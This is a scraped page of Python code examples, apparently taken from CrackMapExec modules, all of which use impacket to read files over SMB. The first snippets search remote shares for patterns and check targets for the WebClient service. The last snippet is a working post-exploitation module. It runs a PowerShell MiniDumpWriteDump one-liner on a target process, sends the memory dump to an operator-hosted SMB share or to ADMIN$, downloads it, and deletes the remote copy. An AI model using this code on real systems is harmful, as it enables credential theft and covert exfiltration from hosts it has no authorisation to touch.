Exemplo n.º 1
0
    def search_content(self, path, result):
        path = path.replace('*', '')
        try:
            rfile = RemoteFile(self.smbconnection,
                               path + result.get_longname(),
                               self.share,
                               access=FILE_READ_DATA)
            rfile.open()

            while True:
                try:
                    contents = rfile.read(4096)
                    if not contents:
                        break
                except SessionError as e:
                    if 'STATUS_END_OF_FILE' in str(e):
                        break

                except Exception:
                    traceback.print_exc()
                    break
                if self.pattern:
                    for pattern in self.pattern:
                        if contents.lower().find(bytes(pattern.lower(),
                                                       'utf8')) != -1:
                            self.logger.highlight(
                                u"//{}/{}/{}{} [lastm:'{}' size:{} offset:{} pattern:'{}']"
                                .format(
                                    self.smbconnection.getRemoteHost(),
                                    self.share, path, result.get_longname(),
                                    'n\\a' if not self.get_lastm_time(result)
                                    else self.get_lastm_time(result),
                                    result.get_filesize(), rfile.tell(),
                                    pattern))
                            self.results.append('{}{}'.format(
                                path, result.get_longname()))
                if self.regex:
                    for regex in self.regex:
                        if regex.findall(contents):
                            self.logger.highlight(
                                u"//{}/{}/{}{} [lastm:'{}' size:{} offset:{} regex:'{}']"
                                .format(
                                    self.smbconnection.getRemoteHost(),
                                    self.share, path, result.get_longname(),
                                    'n\\a' if not self.get_lastm_time(result)
                                    else self.get_lastm_time(result),
                                    result.get_filesize(), rfile.tell(),
                                    regex.pattern))
                            self.results.append('{}{}'.format(
                                path, result.get_longname()))

            rfile.close()
            return

        except SessionError as e:
            if 'STATUS_SHARING_VIOLATION' in str(e):
                pass

        except Exception:
            traceback.print_exc()
Exemplo n.º 2
0
    def get_remote_file(self, share, path):
        try:
            remote_file = RemoteFile(self.smb.conn, path, share, access=FILE_READ_DATA)
            return remote_file
        except SessionError:
            if self.reconnect():
                return self.get_remote_file(share, path)

            return None
Exemplo n.º 3
0
    def search_content(self, path, result):
        path = path.replace('*', '')
        try:
            rfile = RemoteFile(self.smbconnection, path + result.get_longname(), self.share, access=FILE_READ_DATA)
            rfile.open()

            while True:
                try:
                    contents = rfile.read(4096)
                    if not contents:
                        break
                except SessionError as e:
                    if 'STATUS_END_OF_FILE' in str(e):
                        break

                except Exception:
                    traceback.print_exc()
                    break

                for pattern in self.pattern:
                    if contents.lower().find(pattern.lower()) != -1:
                        self.logger.highlight(u"//{}/{}/{}{} [lastm:'{}' size:{} offset:{} pattern:'{}']".format(self.smbconnection.getRemoteHost(), 
                                                                                                            self.share,
                                                                                                            path,
                                                                                                            result.get_longname(),
                                                                                                            'n\\a' if not self.get_lastm_time(result) else self.get_lastm_time(result),
                                                                                                            result.get_filesize(),
                                                                                                            rfile.tell(),
                                                                                                            pattern))
                        self.results.append('{}{}'.format(path, result.get_longname()))

                for regex in self.regex:
                    if regex.findall(contents):
                        self.logger.highlight(u"//{}/{}/{}{} [lastm:'{}' size:{} offset:{} regex:'{}']".format(self.smbconnection.getRemoteHost(),
                                                                                                          self.share,
                                                                                                          path,
                                                                                                          result.get_longname(),
                                                                                                          'n\\a' if not self.get_lastm_time(result) else self.get_lastm_time(result),
                                                                                                          result.get_filesize(),
                                                                                                          rfile.tell(),
                                                                                                          regex.pattern))
                        self.results.append('{}{}'.format(path, result.get_longname()))

            rfile.close()
            return

        except SessionError as e:
            if 'STATUS_SHARING_VIOLATION' in str(e):
                pass

        except Exception:
            traceback.print_exc()
Exemplo n.º 4
0
    def on_login(self, context, connection):
        '''
        Check whether the 'DAV RPC Service' pipe exists within the 'IPC$' share. This indicates
        that the WebClient service is running on the target.
        '''
        try:
            remote_file = RemoteFile(connection.conn,
                                     'DAV RPC Service',
                                     'IPC$',
                                     access=FILE_READ_DATA)

            remote_file.open()
            remote_file.close()

            context.log.highlight(
                self.output.format(connection.conn.getRemoteHost()))

        except SessionError as e:

            if e.getErrorCode() == nt_errors.STATUS_OBJECT_NAME_NOT_FOUND:
                pass

            else:
                raise e
Exemplo n.º 5
0
    def on_admin_login(self, context, connection):
        def __sleep_and_print(seconds):
            for k in range(1, seconds + 1):
                stdout.write('\r{dot}'.format(dot='.' * k))
                stdout.flush()
                sleep(1)
            stdout.write('\n')

        def format_size(filesize):
            unit = "B"
            size = filesize
            if filesize / 1000000000 > 0:
                unit = "G" + unit
                size = filesize / 1000000000
            elif filesize / 1000000 > 0:
                unit = "M" + unit
                size = filesize / 1000000
            elif filesize / 1000 > 0:
                unit = "K" + unit
                size = filesize / 1000
            return str(size) + unit

        file_name = gen_random_string()
        share_name = gen_random_string()

        if self.fileless:
            smb_server = CMESMBServer(context.log,
                                      share_name,
                                      verbose=context.verbose)
            local_ip = connection.conn.getSMBServer().get_socket().getsockname(
            )[0]
            smb_server.start()

        process_str = self.process
        if self.pid > 0:
            process_str = "-Id {pid}".format(pid=self.pid)

        output_name = ""
        if self.fileless:
            output_name = r"\\{host}\{share}\{name}".format(host=local_ip,
                                                            share=share_name,
                                                            name=file_name)
        else:
            output_name = r"\\127.0.0.1\ADMIN$\{name}".format(name=file_name)

        # The PowerShell oneliner comes from Out-Minidump: https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Out-Minidump.ps1
        payload = r'''
            $o='{output_file}';$p=Get-Process {process};$m=[PSObject].Assembly.GetType('System.Management.Automation.WindowsErrorReporting').GetNestedType('NativeMethods','NonPublic').GetMethod('MiniDumpWriteDump',[Reflection.BindingFlags]'NonPublic,Static');$fs=New-Object IO.FileStream($o, [IO.FileMode]::Create);$n=[IntPtr]::Zero;$r=$m.Invoke($null,@($p.Handle,$p.Id,$fs.SafeFileHandle,[UInt32] 2,$n,$n,$n));$fs.Close()
        '''.format(output_file=output_name, process=process_str)

        connection.ps_execute(payload)
        context.log.success('Executed launcher')
        context.log.info('Waiting 2s for completion')
        __sleep_and_print(2)

        if self.fileless:
            size = 0
            while True:
                try:
                    new_size = os.path.getsize(
                        os.path.join("/tmp", "cme_hosted", file_name))
                    if new_size == size:
                        break
                    else:
                        __sleep_and_print(2)
                        size = new_size
                except OSError:
                    __sleep_and_print(2)

            smb_server.shutdown()
            context.log.success(
                "Dump file received: /tmp/cme_hosted/{name}.".format(
                    name=file_name))

        else:
            context.log.info(
                r'Opening: ADMIN$\{output_file}'.format(output_file=file_name))
            f = RemoteFile(connection.conn,
                           file_name,
                           share='ADMIN$',
                           access=FILE_READ_DATA)
            try:
                f.open()
            except SessionError as e:
                print(e)
                context.log.info(
                    'File not found, sleeping to wait for the dump to finish')
                context.log.info('Sleeping 5s')
                __sleep_and_print(5)

                try:
                    f.open()
                except SessionError as e:
                    context.log.error('File not found, aborting..')
                    return

            filesize = f.size()
            context.log.info(
                r'Reading: {output_file}, about {filesize}'.format(
                    output_file=output_name, filesize=format_size(filesize)))
            outputfile = "{host}_{process}_{output_name}.dmp".format(
                host=connection.hostname
                if connection.hostname else connection.host,
                process=process_str.split(" ")[-1]
                if " " in process_str else process_str,
                output_name=file_name)
            output = open(outputfile, "wb")

            pbar = tqdm(total=filesize)
            bytesRead = f.read(BUF_SIZE)
            while bytesRead != '':
                pbar.update(BUF_SIZE)
                output.write(bytesRead)
                bytesRead = f.read(BUF_SIZE)

            output.close()
            pbar.close()
            f.close()
            f.delete()
            context.log.success(
                'Dump file saved as {output} and remote file deleted.'.format(
                    output=outputfile))